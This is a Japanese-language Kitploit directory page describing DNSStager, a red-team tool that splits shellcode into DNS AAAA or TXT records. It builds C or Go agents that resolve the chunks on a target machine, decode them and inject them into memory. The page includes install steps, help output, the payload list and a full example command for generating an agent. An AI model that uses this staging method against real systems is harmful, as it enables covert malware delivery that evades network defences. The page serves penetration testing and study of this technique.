Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DNSStager — ペイロードをDNSに隠す | Kitploit
ツール/GitHubGitHub/mhaskar/dnsstager
ペイロード生成エクスプロイトコマンド&コントロールレッドチーミングペイロード開発DNS分析
GitHubmhaskar/dnsstager

DNSStager

ペイロードをDNSに隠す

リポジトリを見る
6221333年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DNSStagerとは?

DNSStagerは、DNSを使用してペイロードを隠蔽・転送するための、Pythonベースのオープンソースプロジェクトです。

DNSStagerは、悪意のあるDNSサーバーを作成し、ドメインへのDNSリクエストを処理します。ペイロードをチャンクに分割し、さまざまなアルゴリズムでエンコードした後、AAAAやTXTレコードなどの特定のレコードリクエストに対する応答としてペイロードを返します。

DNSStagerは、CまたはGoLangで書かれたカスタムエージェントを生成できます。このエージェントは一連のドメインを解決し、ペイロードを取得、デコードし、最終的に任意のテクニックに基づいてメモリにインジェクションします。

DNSStagerエージェントのコードは自由に編集でき、独自のカスタム実行テクニックを使用してビルドできます。

DNSStagerを使用する主な目的は、レッドチーム/ペネトレーションテスターがDNSを介したステルスチャネルでペイロードを配信できるようにすることです。

仕組み

DNS解決オプションに基づいて、DNSStagerはペイロードをチャンクに分割し、各チャンクをサブドメインの応答として保存します。

例えば、ペイロードを取得するオプションとしてIPV6を選択した場合、DNS応答は次のようになります:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

ここで5648:31d2:6548:8b52:6048:8b52:1848:8b52はペイロードの一部です。

したがって、エージェントはいくつかのドメインを解決してペイロードを取得し、デコードして、最後にメモリにインジェクションします。

現在、DNSStagerはAAAAとTXTの2つのレコードのみをサポートしています。AAAAレコードではXORを使用してペイロードをエンコードでき、TXTレコードを選択した場合、デフォルトでbase64としてエンコードされます。

DNSStagerの主な機能:

DNSStagerには以下のような主な機能があります:

  • IPV6レコードでペイロードを隠蔽・解決します。
  • TXTレコードでペイロードを隠蔽・解決します。
  • ペイロードをエンコードするためのXORエンコーダー。
  • ペイロードをエンコードするためのBase64エンコーダー(TXTレコードのみ)。
  • カスタマイズ可能なCで書かれたピュアエージェント。
  • カスタマイズ可能なGoLangで書かれたピュアエージェント。
  • DNSリクエストごとにスリープを挿入する機能。
  • そしてさらに多くの機能が登場予定!

必要条件

DNSStagerのPython要件は以下のコマンドでインストールできます:

pip3 install -r requirements.txt

GoLangバージョン1.16.3をインストールし、以下のGoLangパッケージもインストールしてください:

  • golang.org/x/sys
  • github.com/miekg/dns

また、ming-w64を以下のコマンドでインストールしてください:

apt install mingw-w64

setup.shスクリプトが自動的にそれを行いますが、使用前に要件を再確認してください!

インストール

最新バージョンのDNSStagerを入手するには、以下のコマンドでこのリポジトリからクローンしてください:

git clone https://github.com/mhaskar/DNSStager

次に、以下のコマンドで要件をインストールします:

pip3 install -r requirements.txt

また、前述のすべての要件もインストールしてください。

これらをすべて実行したら、DNSStagerをrootとして実行し、以下の表示を確認します:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

使い方

DNSStagerを使い始めるには、まずDNS設定をセットアップしてください。ドメインへのすべてのDNSリクエストを処理するために、ドメインがDNSStagerインスタンスをNSレコードとして指すようにする必要があります。

セットアップと使用法については、こちらの詳細記事をお読みください。

また、以下のように-hスイッチを使用してオプションを確認できます:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: このオプションは、DNSリクエストを処理するメインドメインを選択するために使用します。

  • --prefix: サブドメインスキーマに使用するプレフィックスです。例えば、メインドメインがfakedns.liveの場合、プレフィックスとして"cdn"を指定できます。すると、生成されるドメインは以下のようなパターンになります:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

    ここでNは自動生成された番号で、ペイロードのチャンク数を表します。

  • --payload: テクニック、プログラミング言語、アーキテクチャに基づいて生成するDNSStagerペイロード「エージェント」です。

  • --output: DNSStager実行可能ペイロード「エージェント」を保存する出力パス。

  • --shellcode_path: raw/binシェルコードのパス。

  • --xorkey: ペイロードをエンコードするXORキー。

  • --sleep: 各DNSリクエスト間でN秒間スリープするために使用します。

  • --tcp: TCPプロトコルでDNSサーバーを起動・使用します。

DNSStagerペイロード

利用可能なDNSStagerペイロードを確認するには、./dnsstager.py --payloadsを使用すると以下の結果が得られます:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

IPV6を使用したDNSStagerの例

この例では、DNSStagerを起動し、ドメインtest.mydnsserver.live、プレフィックスcloud-srv-を使用してペイロードをIPV6として解決し、キー0x10でエンコードされたコンパイル済みx64 Cエージェントを生成します:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

そして出力は次のようになります:

DNSStager-x64-ipv6の起動画面

そして、すべてが正常に動作しているか確認するために、cloud-srv-0.test.mydnsserver.liveにDNSクエリを送信すると次のようになります:

DNSStager-digテスト

応答としてf642:89ee:fae2:c20a:a0a:4b5b:4b5a:585bを受信していることがわかります。これはエンコードされたペイロードの最初の16バイトです。

その後、ターゲットマシンでエージェント/tmp/a2.exe(コマンドラインで--outputを使って設定したもの)を実行すると、必要なすべてのチャンクをダウンロードし、デコードし、メモリにインジェクションします。

リソース

  • DNSStager v1.0 安定版: よりステルス性の高いコード、DLLエージェントなど
  • DNSStagerの公開: DNSでペイロードを隠すツール

ライセンス

このプロジェクトはGPL-3.0ライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。

ツールをダウンロード